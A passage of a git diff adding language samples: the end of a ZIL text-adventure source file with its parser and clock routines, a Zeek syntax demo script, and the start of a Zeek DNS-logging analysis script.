+<ROUTINE PICK-ONE (FROB)
+	 <GET .FROB <RANDOM <GET .FROB 0>>>>
+
+<DEFMAC ENABLE ('INT)
+	<FORM PUT .INT ,C-ENABLED? 1>>
+
+<DEFMAC DISABLE ('INT)
+	<FORM PUT .INT ,C-ENABLED? 0>>
+
+;"former MAIN.ZIL stuff"
+
+<GLOBAL PLAYER <>>
+
+<GLOBAL P-WON <>>
+
+<CONSTANT M-FATAL 2>
+<CONSTANT M-BEG 1>
+<CONSTANT M-END 6>
+<CONSTANT M-ENTER 2>
+<CONSTANT M-LOOK 3>
+<CONSTANT M-FLASH 4>
+<CONSTANT M-OBJDESC 5>
+
+<ROUTINE GO () 
+	 <PUTB ,P-LEXV 0 59>
+;"put interrupts on clock chain"
+	 <ENABLE <QUEUE I-HOUSEWRECK 20>>
+	 <ENABLE <QUEUE I-THING 21>>
+	 <ENABLE <QUEUE I-VOGONS 50>>	 
+;"set up and go"
+	 <SETG WINNER ,PROTAGONIST>
+	 <SETG PLAYER ,PROTAGONIST>
+	 <SETG HERE ,BEDROOM>
+	 <SETG IDENTITY-FLAG ,ARTHUR>
+	 <MOVE ,ARTHUR ,GLOBAL-OBJECTS>
+	 <SETG LYING-DOWN T>
+	 <MOVE ,PROTAGONIST ,BED>
+	 <V-VERSION>
+	 <CRLF>
+	 <TELL
+"You wake up. The room is spinning very gently round your head. Or at least
+it would be if you could see it which you can't." CR CR>
+	 <V-LOOK>
+	 <MAIN-LOOP>
+	 <AGAIN>>    
+
+<ROUTINE MAIN-LOOP ("AUX" ICNT OCNT NUM CNT OBJ TBL V PTBL OBJ1 TMP)
+   <REPEAT ()
+     <SET CNT 0>
+     <SET OBJ <>>
+     <SET PTBL T>
+     <COND (<SETG P-WON <PARSER>>
+	    <SET ICNT <GET ,P-PRSI ,P-MATCHLEN>>
+	    <SET OCNT <GET ,P-PRSO ,P-MATCHLEN>>
+	    <COND (<AND ,P-IT-OBJECT <ACCESSIBLE? ,P-IT-OBJECT>>
+		   <SET TMP <>>
+		   <REPEAT ()
+			   <COND (<G? <SET CNT <+ .CNT 1>> .ICNT>
+				  <RETURN>)
+				 (T
+				  <COND (<EQUAL? <GET ,P-PRSI .CNT> ,IT>
+					 <PUT ,P-PRSI .CNT ,P-IT-OBJECT>
+					 <SET TMP T>
+					 <RETURN>)>)>>
+		   <COND (<NOT .TMP>
+			  <SET CNT 0>
+			  <REPEAT ()
+			   <COND (<G? <SET CNT <+ .CNT 1>> .OCNT>
+				  <RETURN>)
+				 (T
+				  <COND (<EQUAL? <GET ,P-PRSO .CNT> ,IT>
+					 <PUT ,P-PRSO .CNT ,P-IT-OBJECT>
+					 <RETURN>)>)>>)>
+		   <SET CNT 0>)>
+	    <SET NUM
+		 <COND (<0? .OCNT> .OCNT)
+		       (<G? .OCNT 1>
+			<SET TBL ,P-PRSO>
+			<COND (<0? .ICNT> <SET OBJ <>>)
+			      (T <SET OBJ <GET ,P-PRSI 1>>)>
+			.OCNT)
+		       (<G? .ICNT 1>
+			<SET PTBL <>>
+			<SET TBL ,P-PRSI>
+			<SET OBJ <GET ,P-PRSO 1>>
+			.ICNT)
+		       (T 1)>>
+	    <COND (<AND <NOT .OBJ>
+			<1? .ICNT>>
+		   <SET OBJ <GET ,P-PRSI 1>>)>
+	    <COND (<EQUAL? ,PRSA ,V?WALK> <SET V <PERFORM ,PRSA ,PRSO>>)
+		  (<0? .NUM>
+		   <COND (<0? <BAND <GETB ,P-SYNTAX ,P-SBITS> ,P-SONUMS>>
+			  <SET V <PERFORM ,PRSA>>
+			  <SETG PRSO <>>)
+			 (<NOT ,LIT>
+			  <TELL ,TOO-DARK CR>
+			  <FUCKING-CLEAR>)
+			 (T
+			  <TELL "There isn't anything to ">
+			  <SET TMP <GET ,P-ITBL ,P-VERBN>>
+			  <COND (<VERB? TELL>
+				 <TELL "talk to">)
+				(<OR ,P-OFLAG ,P-MERGED>
+				 <PRINTB <GET .TMP 0>>)
+				(T
+				 <WORD-PRINT <GETB .TMP 2>
+					     <GETB .TMP 3>>)>
+			  <TELL "!" CR>
+			  <SET V <>>
+			  <FUCKING-CLEAR>)>)
+		  (T
+		   <SETG P-NOT-HERE 0>
+		   <SETG P-MULT <>>
+		   <COND (<G? .NUM 1> <SETG P-MULT T>)>
+		   <SET TMP <>>
+		   <REPEAT ()
+			   <COND (<G? <SET CNT <+ .CNT 1>> .NUM>
+				  <COND (<G? ,P-NOT-HERE 0>
+					 <TELL "The ">
+					 <COND (<NOT <EQUAL? ,P-NOT-HERE .NUM>>
+						<TELL "other ">)>
+					 <TELL "object">
+					 <COND (<NOT <EQUAL? ,P-NOT-HERE 1>>
+						<TELL "s">)>
+					 <TELL " that you mentioned ">
+					 <COND (<NOT <EQUAL? ,P-NOT-HERE 1>>
+						<TELL "are">)
+					       (T <TELL "is">)>
+					 <TELL "n't here." CR>)
+					(<NOT .TMP>
+					 <TELL ,REFERRING CR>)>
+				  <RETURN>)
+				 (T
+				  <COND (.PTBL <SET OBJ1 <GET ,P-PRSO .CNT>>)
+					(T <SET OBJ1 <GET ,P-PRSI .CNT>>)>
+				  <SETG PRSO <COND (.PTBL .OBJ1) (T .OBJ)>>
+				  <SETG PRSI <COND (.PTBL .OBJ) (T .OBJ1)>>
+				  <COND (<OR <G? .NUM 1>
+					     <EQUAL? <GET <GET ,P-ITBL ,P-NC1>
+							  0>
+						     ,W?ALL>>
+					 <COND (<EQUAL? .OBJ1
+							,NOT-HERE-OBJECT>
+						<SETG P-NOT-HERE
+						      <+ ,P-NOT-HERE 1>>
+						<AGAIN>)
+					       (<AND <EQUAL? ,P-GETFLAGS
+							     ,P-ALL>
+						     <VERB? TAKE PICK-UP>
+						     <OR <AND <NOT <EQUAL?
+							       <LOC .OBJ1>
+							       ,WINNER
+							       ,HERE
+							       ,PRSI>>
+							      <NOT <FSET?
+								  <LOC .OBJ1>
+								 ,SURFACEBIT>>>
+							 <AND <NOT <FSET? .OBJ1
+							             ,TAKEBIT>>
+							     <NOT <FSET? .OBJ1
+							       ,TRYTAKEBIT>>>>>
+						<AGAIN>)
+					       (<AND <VERB? TAKE PICK-UP>
+						     ,PRSI
+						     <NOT <IN? ,PRSO ,PRSI>>>
+						<AGAIN>)
+					       (<AND <EQUAL? ,P-GETFLAGS
+							     ,P-ALL>
+						     <VERB? DROP>
+						      <NOT <IN? .OBJ1 ,WINNER>>
+						      ;"next frob semied by JW"
+						      ;<NOT <IN? ,P-IT-OBJECT
+								,WINNER>>>
+						<AGAIN>)
+					       (<AND <EQUAL? ,P-GETFLAGS
+							     ,P-ALL>
+						     ,PRSI
+						     <==? ,PRSO ,PRSI>>
+						<AGAIN>)
+					       (<AND <EQUAL? ,P-GETFLAGS
+							     ,P-ALL>
+						     <VERB? PUT>
+						     <HELD? ,PRSO ,PRSI>>
+						<AGAIN>)
+					       (<NOT <ACCESSIBLE? .OBJ1>>
+						<AGAIN>)
+					       (T
+						<COND (<EQUAL? .OBJ1 ,IT>
+						       <PRINTD ,P-IT-OBJECT>)
+						      (<TEA-PRINT .OBJ1>
+						       <PRINTD .OBJ1>)>
+					        <COND (<TEA-PRINT .OBJ1>
+						       <TELL ": ">)>)>)>
+				  <SET TMP T>
+				  <SET V <PERFORM ,PRSA ,PRSO ,PRSI>>
+				  <COND (<EQUAL? .V ,M-FATAL> <RETURN>)>)>>)>
+	    <COND (<NOT <EQUAL? .V ,M-FATAL>>
+		   <COND (<VERB? TELL BRIEF SUPER-BRIEF VERBOSE
+				 SAVE VERSION RESTORE SCRIPT UNSCRIPT>
+			  T)
+			 (T
+			  <SET V <APPLY <GETP <LOC ,WINNER> ,P?ACTION>
+					,M-END>>)>)>
+	    <COND (<VERB? AGAIN SAVE RESTORE SCRIPT UNSCRIPT
+			  VERBOSE BRIEF SUPER-BRIEF>
+		   T)
+		  (,P-OFLAG T)
+		  (T
+		   <SETG L-PRSA ,PRSA>
+		   <SETG L-PRSO ,PRSO>
+		   <SETG L-PRSI ,PRSI>)>
+	    <COND (,DONT-FLAG
+		   <SETG L-DONT-FLAG T>)
+		  (T
+		   <SETG L-DONT-FLAG <>>)>
+	    <COND (,IN-FRONT-FLAG
+		   <SETG L-FRONT-FLAG T>)
+		  (T
+		   <SETG L-FRONT-FLAG <>>)>
+	    <COND (<EQUAL? .V ,M-FATAL>
+		   <SETG P-CONT <>>)>)
+	   (T
+	    <SETG P-CONT <>>)>
+     <COND (,P-WON
+	    <COND (<VERB? TELL BRIEF SUPER-BRIEF VERBOSE VERSION QUIT SCORE
+			  SAVE RESTORE SCRIPT UNSCRIPT FOOTNOTE HELP RESTART>
+		   T)
+		  (<AND <VERB? AGAIN>
+			<OR <EQUAL? ,L-PRSA ,V?FIND ,V?FOLLOW ,V?CALL>
+			    <EQUAL? ,L-PRSA ,V?WHAT ,V?WHERE ,V?WAIT-FOR>
+			    <EQUAL? ,L-PRSA ,V?WHO ,V?WALK-TO ,V?WHAT-ABOUT>
+			    <EQUAL? ,L-PRSA ,V?ASK-ABOUT ,V?ASK-FOR ,V?I-AM>
+			    <EQUAL? ,L-PRSA ,V?MY-NAME ,V?CARVE ,V?SCORE>
+			    <EQUAL? ,L-PRSA ,V?VERSION ,V?FOOTNOTE ,V?HELP>>>
+		   T)
+		  (<AND <VERB? WAIT>
+			,DONT-FLAG>
+		   T)
+		  (<AND <VERB? AGAIN>
+			<EQUAL? ,L-PRSA ,V?WAIT>
+			,L-DONT-FLAG>
+		   T)
+		  (T
+		   <SET V <CLOCKER>>)>
+	    <SETG PRSA <>>
+	    <SETG PRSO <>>
+	    <SETG PRSI <>>)
+	   (<AND <G? <GETB ,P-LEXV ,P-LEXWORDS> 3>
+		 <NOT ,CARELESS-WORDS-FLAG>
+		 ,EARTH-DEMOLISHED
+		 <SAVE-INPUT ,FIRST-BUFFER>>
+	    <SETG CARELESS-WORDS-FLAG T>
+	    <ENABLE <QUEUE I-CARELESS-WORDS 3>>)>>>
+
+<GLOBAL FIRST-BUFFER <ITABLE BYTE 100>>
+
+<ROUTINE SAVE-INPUT (TBL "AUX" (OFFS 0) CNT TMP)
+	 <SET CNT <+ <GETB ,P-LEXV <SET TMP <* 4 ,P-INPUT-WORDS>>>
+		     <GETB ,P-LEXV <+ .TMP 1>>>>
+	 <COND (<EQUAL? .CNT 0> ;"failed"
+		<RFALSE>)>
+	 <SET CNT <- .CNT 1>>
+	 <REPEAT ()
+		 <COND (<EQUAL? .OFFS .CNT>
+			<PUTB .TBL .OFFS 0>
+			<RETURN>)
+		       (T
+			<PUTB .TBL .OFFS <GETB ,P-INBUF <+ .OFFS 1>>>)>
+		 <SET OFFS <+ .OFFS 1>>>
+	 <RTRUE>>
+
+<ROUTINE RESTORE-INPUT (TBL "AUX" CHR)
+	 <REPEAT ()
+		 <COND (<EQUAL? <SET CHR <GETB .TBL 0>> 0>
+			<RETURN>)
+		       (T
+			<PRINTC .CHR>
+			<SET TBL <REST .TBL>>)>>>
+
+<GLOBAL L-PRSA <>>  
+
+<GLOBAL L-PRSO <>>  
+
+<GLOBAL L-PRSI <>>  
+
+<GLOBAL L-DONT-FLAG <>>
+
+<GLOBAL L-FRONT-FLAG <>>
+
+<GLOBAL P-MULT <>>
+
+<GLOBAL P-NOT-HERE 0>
+
+
+<ROUTINE FAKE-ORPHAN ("AUX" TMP)
+	 <ORPHAN ,P-SYNTAX <>>
+	 <TELL "Be specific: what object do">
+	 <COND (,DONT-FLAG
+		<TELL "n't">)>
+	 <TELL " you want to ">
+	 <SET TMP <GET ,P-OTBL ,P-VERBN>>
+	 <COND (<EQUAL? .TMP 0>
+		<TELL "tell">)
+	       (<0? <GETB ,P-VTBL 2>>
+		<PRINTB <GET .TMP 0>>)
+	       (T
+		<WORD-PRINT <GETB .TMP 2> <GETB .TMP 3>>
+		<PUTB ,P-VTBL 2 0>)>
+	 <SETG P-OFLAG T>
+	 <SETG P-WON <>>
+	 <PREP-PRINT
+	     <GETB ,P-SYNTAX ,P-SPREP1>>
+	 <TELL "?" CR>>
+
+<ROUTINE PERFORM (A "OPTIONAL" (O <>) (I <>) "AUX" V OA OO OI)
+	;<COND (,DEBUG
+	       <TELL "[Perform: ">
+	       %<COND (<GASSIGNED? PREDGEN> '<TELL N .A>)
+		      (T '<PRINC <NTH ,ACTIONS <+ <* .A 2> 1>>>)>
+	       <COND (<AND .O <NOT <EQUAL? .A ,V?WALK>>>
+		      <TELL " / PRSO = " D .O>)>
+	       <COND (.I <TELL " / PRSI = " D .I>)>
+	       <TELL "]" CR>
+	       <COND (,IN-FRONT-FLAG
+		      <TELL "[IN-FRONT-FLAG is set]" CR>)>)>
+	<SET OA ,PRSA>
+	<SET OO ,PRSO>
+	<SET OI ,PRSI>
+	<SETG PRSA .A>
+	<COND (<EQUAL? ,IT .I .O>
+	       <COND (<NOT .I>
+		      <FAKE-ORPHAN>)
+		     (T
+		      <TELL ,REFERRING CR>)>
+	       <RFATAL>)>
+	<SETG PRSO .O>
+	<COND (<AND ,PRSO
+		    <NOT <VERB? WALK>>
+		    <NOT <PRSO? ,NOT-HERE-OBJECT>>>
+	       <SETG P-IT-OBJECT ,PRSO>)>
+	<SETG PRSI .I>
+	;<COND (<NOT <EQUAL? .A ,V?AGAIN>>
+	       <SETG L-PRSA .A>
+	       <COND (<EQUAL? .A ,V?WALK> <SETG L-PRSO <>>)
+		     (T <SETG L-PRSO .O>)>
+	       <SETG L-PRSI .I>)>
+	<COND (<AND <NOT <EQUAL? .A ,V?WALK>>
+		    <EQUAL? ,NOT-HERE-OBJECT ,PRSO ,PRSI>
+		    <SET V <D-APPLY "Not Here" ,NOT-HERE-OBJECT-F>>>
+	       <SETG P-WON <>>
+	       .V)
+	      (T
+	       <SET O ,PRSO>
+	       <SET I ,PRSI>
+	       <COND (<SET V <D-APPLY "Actor" <GETP ,WINNER ,P?ACTION>>>
+		      .V)
+		     (<AND ,DONT-FLAG <SET V <DONT-F>>>
+		      .V)
+		     (<SET V <D-APPLY "M-Beg" <GETP <LOC ,WINNER> ,P?ACTION>
+				      ,M-BEG>>
+		      .V)
+		     (<SET V <D-APPLY "Preaction" <GET ,PREACTIONS .A>>>
+		      .V)
+		     (<AND .I <SET V <D-APPLY "PRSI" <GETP .I ,P?ACTION>>>>
+		      .V)
+		     ;(<AND .O
+			   <NOT <EQUAL? .A ,V?WALK>>
+			   <LOC .O>
+			   <GETP <LOC .O> ,P?CONTFCN>
+			   <SET V <D-APPLY "Cont" <GETP <LOC .O> ,P?CONTFCN>>>>
+		      .V) 
+		     (<AND .O
+			   <NOT <EQUAL? .A ,V?WALK>>
+			   <SET V <D-APPLY "PRSO" <GETP .O ,P?ACTION>>>>
+		      .V)
+		     (<SET V <D-APPLY <> <GET ,ACTIONS .A>>>
+		      .V)>)>
+	<SETG PRSA .OA>
+	<SETG PRSO .OO>
+	<SETG PRSI .OI>
+	.V>
+
+<ROUTINE D-APPLY (STR FCN "OPTIONAL" (FOO <>) "AUX" RES)
+	<COND (<NOT .FCN> <>)
+	      (T
+	       ;<COND (,DEBUG
+		      <COND (<NOT .STR>
+			     <TELL CR "  Default ->" CR>)
+			    (T <TELL CR "  " .STR " -> ">)>)>
+	       <SET RES
+		    <COND (.FOO <APPLY .FCN .FOO>)
+			  (T <APPLY .FCN>)>>
+	       ;<COND (<AND ,DEBUG .STR>
+		      <COND (<EQUAL? .RES ,M-FATAL>
+			     <TELL "Fatal" CR>)
+			    (<NOT .RES>
+			     <TELL "Not handled">)
+			    (T <TELL "Handled" CR>)>)>
+	       .RES)>>
+
+
+;"former CLOCK.ZIL stuff"
+
+<GLOBAL CLOCK-WAIT <>>
+
+<GLOBAL C-TABLE %<COND (<GASSIGNED? PREDGEN>
+			'<ITABLE NONE 105>)
+		       (T
+			'<ITABLE NONE 210>)>>
+
+<CONSTANT C-TABLELEN 210>
+
+<GLOBAL C-INTS 210>
+
+<CONSTANT C-INTLEN 6>
+
+<CONSTANT C-ENABLED? 0>
+
+<CONSTANT C-TICK 1>
+
+<CONSTANT C-RTN 2>
+
+<ROUTINE QUEUE (RTN TICK "AUX" CINT)
+	 <PUT <SET CINT <INT .RTN>> ,C-TICK .TICK>
+	 .CINT>
+
+<ROUTINE INT (RTN "OPTIONAL" E C INT)
+	 <SET E <REST ,C-TABLE ,C-TABLELEN>>
+	 <SET C <REST ,C-TABLE ,C-INTS>>
+	 <REPEAT ()
+		 <COND (<EQUAL? .C .E>
+			<SETG C-INTS <- ,C-INTS ,C-INTLEN>>
+			<SET INT <REST ,C-TABLE ,C-INTS>>
+			<PUT .INT ,C-RTN .RTN>
+			<RETURN .INT>)
+		       (<EQUAL? <GET .C ,C-RTN> .RTN> <RETURN .C>)>
+		 <SET C <REST .C ,C-INTLEN>>>>
+
+<ROUTINE CLOCKER ("AUX" C E TICK (FLG <>))
+	 <COND (,CLOCK-WAIT <SETG CLOCK-WAIT <>> <RFALSE>)>
+	 <SET C <REST ,C-TABLE <COND (,P-WON ,C-INTS)>>>
+	 <SET E <REST ,C-TABLE ,C-TABLELEN>>
+	 <REPEAT ()
+		 <COND (<EQUAL? .C .E>
+			<SETG MOVES <+ ,MOVES 1>>
+			<RETURN .FLG>)
+		       (<NOT <0? <GET .C ,C-ENABLED?>>>
+			<SET TICK <GET .C ,C-TICK>>
+			<COND (<0? .TICK>)
+			      (T
+			       <PUT .C ,C-TICK <- .TICK 1>>
+			       <COND (<AND <NOT <G? .TICK 1>>
+					   <APPLY <GET .C ,C-RTN>>>
+				      <SET FLG T>)>)>)>
+		 <SET C <REST .C ,C-INTLEN>>>>
\ No newline at end of file
diff --git a/samples/Zeek/example.zeek b/samples/Zeek/example.zeek
new file mode 100644
index 0000000000..e68aa8418a
--- /dev/null
+++ b/samples/Zeek/example.zeek
@@ -0,0 +1,179 @@
+# An example of the Zeek scripting language.
+
+##! A Zeexygen-style summmary comment.
+
+# TODO: just an example of a todo-indicator
+
+@load base/frameworks/notice
+
+@if ( F )
+@endif
+
+module Example;
+
+export {
+
+  type SimpleEnum: enum { ONE, TWO, THREE };
+
+  redef enum SimpleEnum += {
+
+    ## A Zeexygen-style comment.
+    FOUR,
+    FIVE, ##< A Zeexygen-style comment.
+  };
+
+  type SimpleRecord: record {
+    field1: count;
+    field2: bool;
+  } &redef;
+
+  redef record SimpleRecord += {
+
+    field3: string &optional;
+
+    field4: string &default="blah";
+  };
+
+  const init_option: bool = T;
+
+  option runtime_option: bool = F;
+
+  global test_opaque: opaque of md5;
+
+  global test_vector: vector of count;
+
+  global myfunction: function(msg: string, c: count &default=0): count;
+
+  global myhook: hook(tag: string);
+
+  global myevent: event(tag: string);
+}
+
+function myfunction(msg: string, c: count): count
+  {
+  print "in myfunction", msg, c;
+  return 0;
+  }
+
+event myevent(msg: string) &priority=1
+  {
+  print "in myevent";
+  }
+
+hook myhook(msg: string)
+  {
+  print "in myevent";
+  }
+
+event zeek_init()
+  {
+  local b = T;
+  local s = "\xff\xaf\"and more after the escaped quote";
+  local p = /foo|bar\xbe\/and more after the escaped slash/;
+  local c = 10;
+
+  local sr = SimpleRecord($field1 = 0, $field2 = T, $field3 = "hi");
+
+  print sr?$field3, sr$field1;
+
+  local myset: set[string] = set("one", "two", "three");
+
+  add myset["four"];
+  delete myset["one"];
+
+  for ( ms in myset )
+    {
+    print ms is string, s as string;
+
+    print s[1:3];
+
+    local tern: count = s == "two" ? 2 : 0;
+
+    if ( s !in myset )
+       print fmt("error %4.2f: %s", 3.14159, "wtf?");
+    }
+
+  switch ( c ) {
+  case 1:
+    break;
+  case 2:
+    fallthrough;
+  default:
+    break;
+  }
+
+  if ( ! b )
+    print "here";
+  else
+    print "there";
+
+  while ( c != 0 )
+    {
+    if ( c >= 5 )
+      c += 0;
+    else if ( c == 8 )
+      c -= 0;
+
+    c = c / 1;
+    c = c / 1;
+    c = c - 1;
+    }
+
+  print |myset|;
+  print ~5;
+  print 1 & 0xff;
+  print 2 ^ 5;
+
+  myfunction("hello function");
+  hook myhook("hell hook");
+  event myevent("hello event");
+  schedule 1sec { myevent("hello scheduled event") };
+
+  print 0, 7;
+  print 0xff, 0xdeadbeef;
+
+  print 3.14159;
+  print 1234.0;
+  print 1234e0;
+  print .003E-23;
+  print .003E+23;
+
+  print 123/udp;
+  print 8000/tcp;
+  print 13/icmp;
+  print 42/unknown;
+
+  print google.com;
+  print 192.168.50.1;
+  print 255.255.255.255;
+  print 0.0.0.0;
+
+  print 10.0.0.0/16;
+
+  print [2001:0db8:85a3:0000:0000:8a2e:0370:7334];
+  # test for case insensitivity
+  print [2001:0DB8:85A3:0000:0000:8A2E:0370:7334];
+  # any case mixture is allowed
+  print [2001:0dB8:85a3:0000:0000:8A2E:0370:7334];
+  # leading zeroes of a 16-bit group may be omitted
+  print [2001:db8:85a3:0:0:8a2e:370:7334];
+  # a single occurrence of consecutive groups of zeroes may be replaced by ::
+  print [2001:db8:85a3::8a2e:370:7334];
+  # all zeroes should work
+  print [0:0:0:0:0:0:0:0];
+  # all zeroes condensed should work
+  print [::];
+  # hybrid ipv6-ipv4 address should work
+  print [2001:db8:0:0:0:FFFF:192.168.0.5];
+  # hybrid ipv6-ipv4 address with zero ommission should work
+  print [2001:db8::FFFF:192.168.0.5];
+
+  print [2001:0db8:85a3:0000:0000:8a2e:0370:7334]/64;
+
+  print 1day, 1days, 1.0day, 1.0days;
+  print 1hr, 1hrs, 1.0hr, 1.0hrs;
+  print 1min, 1mins, 1.0min, 1.0mins;
+  print 1sec, 1secs, 1.0sec, 1.0secs;
+  print 1msec, 1msecs, 1.0msec, 1.0msecs;
+  print 1usec, 1usecs, 1.0usec, 1.0usecs;
+  }
diff --git a/samples/Zeek/main.bro b/samples/Zeek/main.bro
new file mode 100644
index 0000000000..a6104e12a3
--- /dev/null
+++ b/samples/Zeek/main.bro
@@ -0,0 +1,484 @@
+##! Base DNS analysis script which tracks and logs DNS queries along with
+##! their responses.
+
+@load base/utils/queue
+@load ./consts
+
+module DNS;
+
+export {
+	## The DNS logging stream identifier.
+	redef enum Log::ID += { LOG };
+
+	## The record type which contains the column fields of the DNS log.
+	type Info: record {
+		## The earliest time at which a DNS protocol message over the
+		## associated connection is observed.
+		ts:            time               &log;
+		## A unique identifier of the connection over which DNS messages
+		## are being transferred.
+		uid:           string             &log;
+		## The connection's 4-tuple of endpoint addresses/ports.
+		id:            conn_id            &log;
+		## The transport layer protocol of the connection.
+		proto:         transport_proto    &log;
+		## A 16-bit identifier assigned by the program that generated
+		## the DNS query.  Also used in responses to match up replies to
+		## outstanding queries.
+		trans_id:      count              &log &optional;
+		## Round trip time for the query and response. This indicates
+		## the delay between when the request was seen until the
+		## answer started.
+		rtt:           interval           &log &optional;
+		## The domain name that is the subject of the DNS query.
+		query:         string             &log &optional;
+		## The QCLASS value specifying the class of the query.
+		qclass:        count              &log &optional;
+		## A descriptive name for the class of the query.
+		qclass_name:   string             &log &optional;
+		## A QTYPE value specifying the type of the query.
+		qtype:         count              &log &optional;
+		## A descriptive name for the type of the query.
+		qtype_name:    string             &log &optional;
+		## The response code value in DNS response messages.
+		rcode:         count              &log &optional;
+		## A descriptive name for the response code value.
+		rcode_name:    string             &log &optional;
+		## The Authoritative Answer bit for response messages specifies
+		## that the responding name server is an authority for the
+		## domain name in the question section.
+		AA:            bool               &log &default=F;
+		## The Truncation bit specifies that the message was truncated.
+		TC:            bool               &log &default=F;
+		## The Recursion Desired bit in a request message indicates that
+		## the client wants recursive service for this query.
+		RD:            bool               &log &default=F;
+		## The Recursion Available bit in a response message indicates
+		## that the name server supports recursive queries.
+		RA:            bool               &log &default=F;
+		## A reserved field that is usually zero in
+		## queries and responses.
+		Z:             count              &log &default=0;
+		## The set of resource descriptions in the query answer.
+		answers:       vector of string   &log &optional;
+		## The caching intervals of the associated RRs described by the
+		## *answers* field.
+		TTLs:          vector of interval &log &optional;
+		## The DNS query was rejected by the server.
+		rejected:      bool               &log &default=F;
+
+		## The total number of resource records in a reply message's
+		## answer section.
+		total_answers: count           &optional;
+		## The total number of resource records in a reply message's
+		## answer, authority, and additional sections.
+		total_replies: count           &optional;
+
+		## Whether the full DNS query has been seen.
+		saw_query: bool                &default=F;
+		## Whether the full DNS reply has been seen.
+		saw_reply: bool                &default=F;
+	};
+
+	## An event that can be handled to access the :bro:type:`DNS::Info`
+	## record as it is sent to the logging framework.
+	global log_dns: event(rec: Info);
+
+	## This is called by the specific dns_*_reply events with a "reply"
+	## which may not represent the full data available from the resource
+	## record, but it's generally considered a summarization of the
+	## responses.
+	##
+	## c: The connection record for which to fill in DNS reply data.
+	##
+	## msg: The DNS message header information for the response.
+	##
+	## ans: The general information of a RR response.
+	##
+	## reply: The specific response information according to RR type/class.
+	global do_reply: hook(c: connection, msg: dns_msg, ans: dns_answer, reply: string);
+
+	## A hook that is called whenever a session is being set.
+	## This can be used if additional initialization logic needs to happen
+	## when creating a new session value.
+	##
+	## c: The connection involved in the new session.
+	##
+	## msg: The DNS message header information.
+	##
+	## is_query: Indicator for if this is being called for a query or a response.
+	global set_session: hook(c: connection, msg: dns_msg, is_query: bool);
+
+	## Yields a queue of :bro:see:`DNS::Info` objects for a given
+	## DNS message query/transaction ID.
+	type PendingMessages: table[count] of Queue::Queue;
+
+	## Give up trying to match pending DNS queries or replies for a given
+	## query/transaction ID once this number of unmatched queries or replies
+	## is reached (this shouldn't happen unless either the DNS server/resolver
+	## is broken, Bro is not seeing all the DNS traffic, or an AXFR query
+	## response is ongoing).
+	option max_pending_msgs = 50;
+
+	## Give up trying to match pending DNS queries or replies across all
+	## query/transaction IDs once there is at least one unmatched query or
+	## reply across this number of different query IDs.
+	option max_pending_query_ids = 50;
+
+	## A record type which tracks the status of DNS queries for a given
+	## :bro:type:`connection`.
+	type State: record {
+		## Indexed by query id, returns Info record corresponding to
+		## queries that haven't been matched with a response yet.
+		pending_queries: PendingMessages;
+
+		## Indexed by query id, returns Info record corresponding to
+		## replies that haven't been matched with a query yet.
+		pending_replies: PendingMessages;
+	};
+}
+
+
+redef record connection += {
+	dns:       Info  &optional;
+	dns_state: State &optional;
+};
+
+const ports = { 53/udp, 53/tcp, 137/udp, 5353/udp, 5355/udp };
+redef likely_server_ports += { ports };
+
+event bro_init() &priority=5
+	{
+	Log::create_stream(DNS::LOG, [$columns=Info, $ev=log_dns, $path="dns"]);
+	Analyzer::register_for_ports(Analyzer::ANALYZER_DNS, ports);
+	}
+
+function new_session(c: connection, trans_id: count): Info
+	{
+	local info: Info;
+	info$ts       = network_time();
+	info$id       = c$id;
+	info$uid      = c$uid;
+	info$proto    = get_conn_transport_proto(c$id);
+	info$trans_id = trans_id;
+	return info;
+	}
+
+function log_unmatched_msgs_queue(q: Queue::Queue)
+	{
+	local infos: vector of Info;
+	Queue::get_vector(q, infos);
+
+	for ( i in infos )
+		{
+		Log::write(DNS::LOG, infos[i]);
+		}
+	}
+
+function log_unmatched_msgs(msgs: PendingMessages)
+	{
+	for ( trans_id in msgs )
+		{
+		log_unmatched_msgs_queue(msgs[trans_id]);
+		}
+
+	clear_table(msgs);
+	}
+
+function enqueue_new_msg(msgs: PendingMessages, id: count, msg: Info)
+	{
+	if ( id !in msgs )
+		{
+		if ( |msgs| > max_pending_query_ids )
+			{
+			# Throw away all unmatched on assumption they'll never be matched.
+			log_unmatched_msgs(msgs);
+			}
+
+		msgs[id] = Queue::init();
+		}
+	else
+		{
+		if ( Queue::len(msgs[id]) > max_pending_msgs )
+			{
+			log_unmatched_msgs_queue(msgs[id]);
+			# Throw away all unmatched on assumption they'll never be matched.
+			msgs[id] = Queue::init();
+			}
+		}
+
+	Queue::put(msgs[id], msg);
+	}
+
+function pop_msg(msgs: PendingMessages, id: count): Info
+	{
+	local rval: Info = Queue::get(msgs[id]);
+
+	if ( Queue::len(msgs[id]) == 0 )
+		delete msgs[id];
+
+	return rval;
+	}
+
+hook set_session(c: connection, msg: dns_msg, is_query: bool) &priority=5
+	{
+	if ( ! c?$dns_state )
+		{
+		local state: State;
+		c$dns_state = state;
+		}
+
+	if ( is_query )
+		{
+		if ( msg$id in c$dns_state$pending_replies &&
+		     Queue::len(c$dns_state$pending_replies[msg$id]) > 0 )
+			{
+			# Match this DNS query w/ what's at head of pending reply queue.
+			c$dns = pop_msg(c$dns_state$pending_replies, msg$id);
+			}
+		else
+			{
+			# Create a new DNS session and put it in the query queue so
+			# we can wait for a matching reply.
+			c$dns = new_session(c, msg$id);
+			enqueue_new_msg(c$dns_state$pending_queries, msg$id, c$dns);
+			}
+		}
+	else
+		{
+		if ( msg$id in c$dns_state$pending_queries &&
+		     Queue::len(c$dns_state$pending_queries[msg$id]) > 0 )
+			{
+			# Match this DNS reply w/ what's at head of pending query queue.
+			c$dns = pop_msg(c$dns_state$pending_queries, msg$id);
+			}
+		else
+			{
+			# Create a new DNS session and put it in the reply queue so
+			# we can wait for a matching query.
+			c$dns = new_session(c, msg$id);
+			enqueue_new_msg(c$dns_state$pending_replies, msg$id, c$dns);
+			}
+		}
+
+	if ( ! is_query )
+		{
+		c$dns$rcode = msg$rcode;
+		c$dns$rcode_name = base_errors[msg$rcode];
+
+		if ( ! c$dns?$total_answers )
+			c$dns$total_answers = msg$num_answers;
+
+		if ( ! c$dns?$total_replies )
+			c$dns$total_replies = msg$num_answers + msg$num_addl + msg$num_auth;
+
+		if ( msg$rcode != 0 && msg$num_queries == 0 )
+			c$dns$rejected = T;
+		}
+	}
+
+event dns_message(c: connection, is_orig: bool, msg: dns_msg, len: count) &priority=5
+	{
+	if ( msg$opcode != 0 )
+		# Currently only standard queries are tracked.
+		return;
+
+	hook set_session(c, msg, ! msg$QR);
+	}
+
